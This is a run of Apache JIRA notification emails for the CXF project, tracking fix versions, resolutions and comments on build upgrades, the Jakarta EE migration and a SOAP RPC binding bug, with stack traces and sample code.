[ https://issues.apache.org/jira/browse/CXF-8802?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8802: -- Fix Version/s: 4.0.1 > Update to Maven Remote Resources Plugin 3.1.0 > - > > Key: CXF-8802 > URL: https://issues.apache.org/jira/browse/CXF-8802 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.1 > > > The update to 3.0.0 run into > https://issues.apache.org/jira/browse/MRRESOURCES-121, the 3.1.0 fixes the > issue. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Assigned] (CXF-8802) Update to Maven Remote Resources Plugin 3.1.0
[ https://issues.apache.org/jira/browse/CXF-8802?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko reassigned CXF-8802: - Assignee: Andriy Redko > Update to Maven Remote Resources Plugin 3.1.0 > - > > Key: CXF-8802 > URL: https://issues.apache.org/jira/browse/CXF-8802 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > > The update to 3.0.0 run into > https://issues.apache.org/jira/browse/MRRESOURCES-121, the 3.1.0 fixes the > issue. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8802) Update to Maven Remote Resources Plugin 3.1.0
[ https://issues.apache.org/jira/browse/CXF-8802?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8802: -- Description: The update to 3.0.0 run into https://issues.apache.org/jira/browse/MRRESOURCES-121, the 3.1.0 fixes the issue. > Update to Maven Remote Resources Plugin 3.1.0 > - > > Key: CXF-8802 > URL: https://issues.apache.org/jira/browse/CXF-8802 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Priority: Major > > The update to 3.0.0 run into > https://issues.apache.org/jira/browse/MRRESOURCES-121, the 3.1.0 fixes the > issue. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Created] (CXF-8802) Update to Maven Remote Resources Plugin 3.1.0
Andriy Redko created CXF-8802: - Summary: Update to Maven Remote Resources Plugin 3.1.0 Key: CXF-8802 URL: https://issues.apache.org/jira/browse/CXF-8802 Project: CXF Issue Type: Improvement Reporter: Andriy Redko -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8800) org.apache.cxf.transports.http.configuration.HTTPServerPolicy not found
[ https://issues.apache.org/jira/browse/CXF-8800?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8800. --- Resolution: Not A Problem > org.apache.cxf.transports.http.configuration.HTTPServerPolicy not found > --- > > Key: CXF-8800 > URL: https://issues.apache.org/jira/browse/CXF-8800 > Project: CXF > Issue Type: Wish > Environment: IntelliJ IDEA, windows 10, Ubuntu 18.04.6,maven 3.6.1 >Reporter: panda2021 >Priority: Minor > Attachments: image-2022-12-08-17-24-45-229.png > > > When I used the IDE to load the CXF project, the following error occurs, > !image-2022-12-08-17-24-45-229.png! > I tried to look for the source code based on > org.apache.cxf.transports.http.configuration.HTTPClientPolicy, but I found > nothing; I would like to ask where this code is stored and why no error is > reported when mvn install -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (CXF-8800) org.apache.cxf.transports.http.configuration.HTTPServerPolicy not found
[ https://issues.apache.org/jira/browse/CXF-8800?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=17644829#comment-17644829 ] Andriy Redko commented on CXF-8800: --- [~panda2021] what are your dependencies? > org.apache.cxf.transports.http.configuration.HTTPServerPolicy not found > --- > > Key: CXF-8800 > URL: https://issues.apache.org/jira/browse/CXF-8800 > Project: CXF > Issue Type: Wish > Environment: IntelliJ IDEA, windows 10, Ubuntu 18.04.6,maven 3.6.1 >Reporter: panda2021 >Priority: Minor > Attachments: image-2022-12-08-17-24-45-229.png > > > When I used the IDE to load the CXF project, the following error occurs, > !image-2022-12-08-17-24-45-229.png! > I tried to look for the source code based on > org.apache.cxf.transports.http.configuration.HTTPClientPolicy, but I found > nothing; I would like to ask where this code is stored and why no error is > reported when mvn install -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8788) Remove the 'jakarta' profile (which enables the Spring milestone repositories)
[
https://issues.apache.org/jira/browse/CXF-8788?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8788:
--
Fix Version/s: 4.0.1
(was: 4.0.0)
> Remove the 'jakarta' profile (which enables the Spring milestone repositories)
> --
>
> Key: CXF-8788
> URL: https://issues.apache.org/jira/browse/CXF-8788
> Project: CXF
> Issue Type: Improvement
> Components: Build system
>Reporter: Jim Ma
>Assignee: Jim Ma
>Priority: Major
> Fix For: 4.0.1
>
>
> After the spring boot 3.0.0 and spring-cloud-starter-netflix-eureka 4.0.0
> release, we can remove the the profile to enable the spring milestone
> repository in cxf root pom and distribution sample pom :
> {code:java}
>
> jakarta
>
> true
>
>
>
> spring.milestone
> https://repo.spring.io/milestone/
> Spring Milestone Repo
>
>
>
>
> spring.milestone
> https://repo.spring.io/milestone/
> Spring Milestone Repo
>
>
> {code}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (CXF-8788) Remove the 'jakarta' profile (which enables the Spring milestone repositories)
[
https://issues.apache.org/jira/browse/CXF-8788?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=17644529#comment-17644529
]
Andriy Redko commented on CXF-8788:
---
Moving to 4.0.1 since Spring Cloud 4 is still in RC phase (RC3)
> Remove the 'jakarta' profile (which enables the Spring milestone repositories)
> --
>
> Key: CXF-8788
> URL: https://issues.apache.org/jira/browse/CXF-8788
> Project: CXF
> Issue Type: Improvement
> Components: Build system
>Reporter: Jim Ma
>Assignee: Jim Ma
>Priority: Major
> Fix For: 4.0.0
>
>
> After the spring boot 3.0.0 and spring-cloud-starter-netflix-eureka 4.0.0
> release, we can remove the the profile to enable the spring milestone
> repository in cxf root pom and distribution sample pom :
> {code:java}
>
> jakarta
>
> true
>
>
>
> spring.milestone
> https://repo.spring.io/milestone/
> Spring Milestone Repo
>
>
>
>
> spring.milestone
> https://repo.spring.io/milestone/
> Spring Milestone Repo
>
>
> {code}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Resolved] (CXF-8789) Set release version to maven compiler plugin
[ https://issues.apache.org/jira/browse/CXF-8789?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8789. --- Resolution: Fixed > Set release version to maven compiler plugin > > > Key: CXF-8789 > URL: https://issues.apache.org/jira/browse/CXF-8789 > Project: CXF > Issue Type: Improvement > Components: Build system >Reporter: Jim Ma >Assignee: Jim Ma >Priority: Major > Fix For: 4.0.0 > > > Due to Spring 6's baseline is JDK17, we have to run Spring relevant tests > with JDK17. When use JDK-17 or higher version JDK version to build and run > tests, it needs a release 11 to maven compiler plugin to guarantee the output > binary can be run on JDK-11. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8681) Restore XMLBeans dataBinding
[ https://issues.apache.org/jira/browse/CXF-8681?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8681: -- Fix Version/s: 4.1.0 (was: 4.0.0) > Restore XMLBeans dataBinding > > > Key: CXF-8681 > URL: https://issues.apache.org/jira/browse/CXF-8681 > Project: CXF > Issue Type: Wish > Components: OtherDatabindings >Reporter: François Goirand >Priority: Trivial > Fix For: 3.6.0, 4.1.0 > > > Since June 2018, XMLBeans is revived and has been unretired by the Apache POI > Project, so its dataBinding could be restored in future CXF releases. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8675) jakarta.xml.bind.ModuleUtil error after jaxb 3.0.1 upgrade
[ https://issues.apache.org/jira/browse/CXF-8675?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8675: -- Fix Version/s: 4.0.1 (was: 4.0.0) > jakarta.xml.bind.ModuleUtil error after jaxb 3.0.1 upgrade > -- > > Key: CXF-8675 > URL: https://issues.apache.org/jira/browse/CXF-8675 > Project: CXF > Issue Type: Task > Components: Core >Reporter: Jim Ma >Assignee: Jim Ma >Priority: Major > Fix For: 4.0.1 > > > SOAPRpcLitClientTypeTest throws the follow exception. > [INFO] Running org.apache.cxf.systest.type_test.soap.SOAPRpcLitClientTypeTest > jakarta.xml.ws.WebServiceException: > org.apache.cxf.service.factory.ServiceConstructionException > at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373) > at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255) > at > org.apache.cxf.jaxws.spi.ProviderImpl.createAndPublishEndpoint(ProviderImpl.java:130) > at jakarta.xml.ws.Endpoint.publish(Endpoint.java:224) > at > org.apache.cxf.systest.type_test.soap.SOAPRpcLitServerImpl.run(SOAPRpcLitServerImpl.java:33) > at > org.apache.cxf.testutil.common.AbstractTestServerBase.startInProcess(AbstractTestServerBase.java:44) > at > org.apache.cxf.testutil.common.ServerLauncher.launchServer(ServerLauncher.java:193) > at > org.apache.cxf.testutil.common.AbstractClientServerTestBase.launchServer(AbstractClientServerTestBase.java:91) > at > org.apache.cxf.systest.type_test.soap.SOAPRpcLitClientTypeTest.startServers(SOAPRpcLitClientTypeTest.java:45) > at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native > Method) > at > java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) > at > java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) > at java.base/java.lang.reflect.Method.invoke(Method.java:568) > at > org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) > at > org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) > at > org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) > at > org.junit.internal.runners.statements.RunBefores.invokeMethod(RunBefores.java:33) > at > org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:24) > at > org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) > at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) > at org.junit.runners.ParentRunner.run(ParentRunner.java:413) > at > org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:364) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:272) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:237) > at > org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:158) > at > org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:428) > at > org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:162) > at > org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:562) > at > org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:548) > Caused by: org.apache.cxf.service.factory.ServiceConstructionException > at > org.apache.cxf.jaxb.JAXBDataBinding.initialize(JAXBDataBinding.java:360) > at > org.apache.cxf.service.factory.AbstractServiceFactoryBean.initializeDataBindings(AbstractServiceFactoryBean.java:87) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.buildServiceFromWSDL(ReflectionServiceFactoryBean.java:425) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.initializeServiceModel(ReflectionServiceFactoryBean.java:527) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.create(ReflectionServiceFactoryBean.java:262) > at > org.apache.cxf.jaxws.support.JaxWsServiceFactoryBean.create(JaxWsServiceFactoryBean.java:199) > at > org.apache.cxf.frontend.AbstractWSDLBasedEndpointFactory.createEndpoint(AbstractWSDLBasedEndpointFactory.java:103) > at > org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:168) > at > org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:210) > at org.apache.cxf.jaxws.EndpointImpl.getServer(EndpointImpl.java:458) > at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:336) > ... 28 more > Caused by: jakarta.xml.bind.JAXBException: Package javax.xml.namespace with > Jakarta XML Binding
[jira] [Updated] (CXF-8675) jakarta.xml.bind.ModuleUtil error after jaxb 3.0.1 upgrade
[ https://issues.apache.org/jira/browse/CXF-8675?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8675: -- Fix Version/s: 4.0.0 (was: 4.0.1) > jakarta.xml.bind.ModuleUtil error after jaxb 3.0.1 upgrade > -- > > Key: CXF-8675 > URL: https://issues.apache.org/jira/browse/CXF-8675 > Project: CXF > Issue Type: Task > Components: Core >Reporter: Jim Ma >Assignee: Jim Ma >Priority: Major > Fix For: 4.0.0 > > > SOAPRpcLitClientTypeTest throws the follow exception. > [INFO] Running org.apache.cxf.systest.type_test.soap.SOAPRpcLitClientTypeTest > jakarta.xml.ws.WebServiceException: > org.apache.cxf.service.factory.ServiceConstructionException > at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373) > at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255) > at > org.apache.cxf.jaxws.spi.ProviderImpl.createAndPublishEndpoint(ProviderImpl.java:130) > at jakarta.xml.ws.Endpoint.publish(Endpoint.java:224) > at > org.apache.cxf.systest.type_test.soap.SOAPRpcLitServerImpl.run(SOAPRpcLitServerImpl.java:33) > at > org.apache.cxf.testutil.common.AbstractTestServerBase.startInProcess(AbstractTestServerBase.java:44) > at > org.apache.cxf.testutil.common.ServerLauncher.launchServer(ServerLauncher.java:193) > at > org.apache.cxf.testutil.common.AbstractClientServerTestBase.launchServer(AbstractClientServerTestBase.java:91) > at > org.apache.cxf.systest.type_test.soap.SOAPRpcLitClientTypeTest.startServers(SOAPRpcLitClientTypeTest.java:45) > at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native > Method) > at > java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) > at > java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) > at java.base/java.lang.reflect.Method.invoke(Method.java:568) > at > org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) > at > org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) > at > org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) > at > org.junit.internal.runners.statements.RunBefores.invokeMethod(RunBefores.java:33) > at > org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:24) > at > org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) > at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) > at org.junit.runners.ParentRunner.run(ParentRunner.java:413) > at > org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:364) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:272) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:237) > at > org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:158) > at > org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:428) > at > org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:162) > at > org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:562) > at > org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:548) > Caused by: org.apache.cxf.service.factory.ServiceConstructionException > at > org.apache.cxf.jaxb.JAXBDataBinding.initialize(JAXBDataBinding.java:360) > at > org.apache.cxf.service.factory.AbstractServiceFactoryBean.initializeDataBindings(AbstractServiceFactoryBean.java:87) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.buildServiceFromWSDL(ReflectionServiceFactoryBean.java:425) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.initializeServiceModel(ReflectionServiceFactoryBean.java:527) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.create(ReflectionServiceFactoryBean.java:262) > at > org.apache.cxf.jaxws.support.JaxWsServiceFactoryBean.create(JaxWsServiceFactoryBean.java:199) > at > org.apache.cxf.frontend.AbstractWSDLBasedEndpointFactory.createEndpoint(AbstractWSDLBasedEndpointFactory.java:103) > at > org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:168) > at > org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:210) > at org.apache.cxf.jaxws.EndpointImpl.getServer(EndpointImpl.java:458) > at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:336) > ... 28 more > Caused by: jakarta.xml.bind.JAXBException: Package javax.xml.namespace with > Jakarta XML Binding
[jira] [Updated] (CXF-8675) jakarta.xml.bind.ModuleUtil error after jaxb 3.0.1 upgrade
[ https://issues.apache.org/jira/browse/CXF-8675?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8675: -- Fix Version/s: 4.0.1 (was: 4.0.0) > jakarta.xml.bind.ModuleUtil error after jaxb 3.0.1 upgrade > -- > > Key: CXF-8675 > URL: https://issues.apache.org/jira/browse/CXF-8675 > Project: CXF > Issue Type: Task > Components: Core >Reporter: Jim Ma >Assignee: Jim Ma >Priority: Major > Fix For: 4.0.1 > > > SOAPRpcLitClientTypeTest throws the follow exception. > [INFO] Running org.apache.cxf.systest.type_test.soap.SOAPRpcLitClientTypeTest > jakarta.xml.ws.WebServiceException: > org.apache.cxf.service.factory.ServiceConstructionException > at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373) > at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255) > at > org.apache.cxf.jaxws.spi.ProviderImpl.createAndPublishEndpoint(ProviderImpl.java:130) > at jakarta.xml.ws.Endpoint.publish(Endpoint.java:224) > at > org.apache.cxf.systest.type_test.soap.SOAPRpcLitServerImpl.run(SOAPRpcLitServerImpl.java:33) > at > org.apache.cxf.testutil.common.AbstractTestServerBase.startInProcess(AbstractTestServerBase.java:44) > at > org.apache.cxf.testutil.common.ServerLauncher.launchServer(ServerLauncher.java:193) > at > org.apache.cxf.testutil.common.AbstractClientServerTestBase.launchServer(AbstractClientServerTestBase.java:91) > at > org.apache.cxf.systest.type_test.soap.SOAPRpcLitClientTypeTest.startServers(SOAPRpcLitClientTypeTest.java:45) > at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native > Method) > at > java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) > at > java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) > at java.base/java.lang.reflect.Method.invoke(Method.java:568) > at > org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) > at > org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) > at > org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) > at > org.junit.internal.runners.statements.RunBefores.invokeMethod(RunBefores.java:33) > at > org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:24) > at > org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) > at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) > at org.junit.runners.ParentRunner.run(ParentRunner.java:413) > at > org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:364) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:272) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:237) > at > org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:158) > at > org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:428) > at > org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:162) > at > org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:562) > at > org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:548) > Caused by: org.apache.cxf.service.factory.ServiceConstructionException > at > org.apache.cxf.jaxb.JAXBDataBinding.initialize(JAXBDataBinding.java:360) > at > org.apache.cxf.service.factory.AbstractServiceFactoryBean.initializeDataBindings(AbstractServiceFactoryBean.java:87) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.buildServiceFromWSDL(ReflectionServiceFactoryBean.java:425) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.initializeServiceModel(ReflectionServiceFactoryBean.java:527) > at > org.apache.cxf.wsdl.service.factory.ReflectionServiceFactoryBean.create(ReflectionServiceFactoryBean.java:262) > at > org.apache.cxf.jaxws.support.JaxWsServiceFactoryBean.create(JaxWsServiceFactoryBean.java:199) > at > org.apache.cxf.frontend.AbstractWSDLBasedEndpointFactory.createEndpoint(AbstractWSDLBasedEndpointFactory.java:103) > at > org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:168) > at > org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:210) > at org.apache.cxf.jaxws.EndpointImpl.getServer(EndpointImpl.java:458) > at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:336) > ... 28 more > Caused by: jakarta.xml.bind.JAXBException: Package javax.xml.namespace with > Jakarta XML Binding
[jira] [Resolved] (CXF-8371) Support Jakarta EE 9.0+
[
https://issues.apache.org/jira/browse/CXF-8371?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko resolved CXF-8371.
---
Resolution: Fixed
> Support Jakarta EE 9.0+
> ---
>
> Key: CXF-8371
> URL: https://issues.apache.org/jira/browse/CXF-8371
> Project: CXF
> Issue Type: Task
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0
>
>
> |*Jakarta EE 9 is NOT BACKWARD COMPATIBLE with Java EE 8*|
> Understanding Jakarta EE 9: [http://blog.supol.cz/?p=202]
> Tooling:
> - Eclipse Transformer:
> - [https://github.com/eclipse/transformer/]
> - [https://projects.eclipse.org/projects/technology.transformer]
> Risks & Deps:
> - Spring: [https://github.com/spring-projects/spring-framework/issues/25354]
>
> [https://spring.io/blog/2021/12/16/spring-framework-6-0-m1-released]
> The path other projects have taken (majority went with 2 release branches):
> - Hibernate Validator 6.2.x / javax.* and 7.x / jakarta.*
> ([https://in.relation.to/2021/01/06/hibernate-validator-700-62-final-released/)]
> - {color:#00}Tomcat 9 / javax.* and 10{color} / jakarta.*
> ([https://cwiki.apache.org/confluence/display/TOMCAT/Jakarta+EE+Release+Numbering])
> - Jetty 10 {color:#00}/ javax.*{color} and 11 / jakarta.*
> ([https://webtide.com/jetty-10-and-11-have-arrived/])
> - ActiveMQ
> [https://blogs.apache.org/activemq/entry/activemq-artemis-embraces-jakarta-ee]
>
> The blockers:
> - Swagger v1 / v2
> - Project Grizzly ([https://javaee.github.io/grizzly/)]
> - Jetty Continuations
> ([https://github.com/eclipse/jetty.project/issues/4934)] is gone
> - Jakarta WebSocket (including Jetty WebSocket)
> - Jackson
> - ActiveMQ
> ([https://blogs.apache.org/activemq/entry/activemq-artemis-embraces-jakarta-ee])
> to Artemis
> - Brave / Opentracing
> - Atmosphere
> - Weld / OpenWebBeans
> - OSGi / Apache Karaf (https://issues.apache.org/jira/browse/FELIX-6389)
> - jaxb2-basics(https://github.com/highsource/jaxb2-basics
> Microprofile:
> - [https://github.com/eclipse/microprofile-rest-client/pull/319]
> -
> [https://github.com/eclipse/microprofile-rest-client/releases/tag/3.0-RC2|https://github.com/eclipse/microprofile-rest-client/releases/tag/3.0-RC1]
> - [https://github.com/eclipse/microprofile-open-api/releases/tag/3.0-RC1]
> - [https://microprofile.io/2021/12/07/microprofile-5-0-release/]
>
> Jakarta EE Platform 9.1 specs (used by CXF):
> - Jakarta Activation 2.0
> - Jakarta Annotations 2.0
> - Jakarta Bean Validation 3.0
> - Jakarta Connectors 2.0
> - Jakarta Contexts and Dependency Injection 3.0
> - Jakarta Dependency Injection 2.0
> - Jakarta Enterprise Beans 4.0
> - Jakarta Enterprise Web Services 2.0 (Optional)
> - Jakarta Expression Language 4.0
> - Jakarta Interceptors 2.0
> - Jakarta JSON Binding 2.0
> - Jakarta JSON Processing 2.0
> - Jakarta Mail 2.0
> - Jakarta Messaging 3.0
> - Jakarta Persistence 3.0
> - Jakarta RESTful Web Services 3.0
> - Jakarta Security 2.0
> - Jakarta Servlet 5.0
> - Jakarta SOAP with Attachments 2.0 (Optional)
> - Jakarta Transactions 2.0
> - Jakarta WebSocket 2.0
> - Jakarta Web Services Metadata 3.0 (Optional)
> - Jakarta XML Binding 3.0 (Optional)
> - Jakarta XML Web Services 3.0 (Optional)
> Jakarta EE Platform TCK 9.0.1:
> - [https://github.com/jakartaee/specifications/issues/321]
> - [https://github.com/eclipse-ee4j/jakartaee-platform/wiki/JakartaEE9]
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8796) IllegalArgumentException: argument type mismatch with code first RPC when parameter omitted
[
https://issues.apache.org/jira/browse/CXF-8796?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8796:
--
Fix Version/s: 4.0.0
3.6.0
> IllegalArgumentException: argument type mismatch with code first RPC when
> parameter omitted
> ---
>
> Key: CXF-8796
> URL: https://issues.apache.org/jira/browse/CXF-8796
> Project: CXF
> Issue Type: Bug
> Components: Soap Binding
>Affects Versions: 3.5.4
>Reporter: Alexander Ziubin
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10
>
> Attachments: RpcSoapBindingArgumentTypeMismatch.zip, allocate.xml
>
>
> When migrating legacy code-first RPC Web application from Axis to CXF, I
> found an issue with SOAP binding. CXF is passing
> MessageContentsList.REMOVED_MARKER instead of absent parameter producing
> "argument type mismatch while invoking ... with params ... java.lang.Object"
> response faultstring and "java.lang.IllegalArgumentException: argument type
> mismatch" message in the log.
> {code:java}
> @WebService(targetNamespace = "http://test.apache.org/;)
> @SOAPBinding(style = javax.jws.soap.SOAPBinding.Style.RPC, use =
> javax.jws.soap.SOAPBinding.Use.LITERAL)
> public class SoapBindingArgumentTypeMismatch {
> public boolean allocate(Integer projectId,
> Integer[] targetIds,
> Integer[] parameterIds) {
> return targetIds == null;
> }
> }{code}
> Expected behavior of this sample Web service is to return true, when the
> targetIds parameter is absent in the SOAP request, but instead, CXF produces
> exception and fault response. Below is a sample SOAP request:
> {code:xml}
> http://schemas.xmlsoap.org/soap/envelope/;
> xmlns:test="http://test.apache.org/;
> xmlns:SOAP-ENC = "http://schemas.xmlsoap.org/soap/encoding/;
> xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance;>
>
>
>
> 1
>
> 222
>
>
>
> {code}
> Everything else works as expected with CXF and this issue is the only
> blocker. I did some research and found that bean validation is also affected
> for both hibernate-validator and Apache bval bean validation providers.
> I verified the behavior with CXF 3.5.2 and 3.5.4, but it seems that other
> versions have this issue too.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Resolved] (CXF-8764) Upgrade to Jetty 10
[ https://issues.apache.org/jira/browse/CXF-8764?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8764. --- Resolution: Fixed > Upgrade to Jetty 10 > --- > > Key: CXF-8764 > URL: https://issues.apache.org/jira/browse/CXF-8764 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 3.6.0 > > > Upgrade to Jetty 10 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8678) Update to Apache HttpClient5 5.2
[ https://issues.apache.org/jira/browse/CXF-8678?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8678. --- Resolution: Fixed > Update to Apache HttpClient5 5.2 > > > Key: CXF-8678 > URL: https://issues.apache.org/jira/browse/CXF-8678 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > > Once Apache HttpClient5 5.2 is out, we could refactor the > [hc5/AsyncHTTPConduit.java|https://github.com/apache/cxf/pull/923/files#diff-ffdced03fe3494b30838dad9d488dd80fceb4c2f484eb9ff89fc25b80e5e1490] > to use HttpContext for TLS lookup propagation (much like 4.x does). > Currently, without context-aware settings, AsyncHTTPConduitFactory caches the > client upon first AsyncHTTPConduit connection. However, if there are more > than one AsyncHTTPConduit, each with different TLS settings, the client is > not recreated and as such, those TLS settings are not taken into account. > > https://mvnrepository.com/artifact/org.apache.httpcomponents.client5/httpclient5/5.2 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8678) Update to Apache HttpClient5 5.2
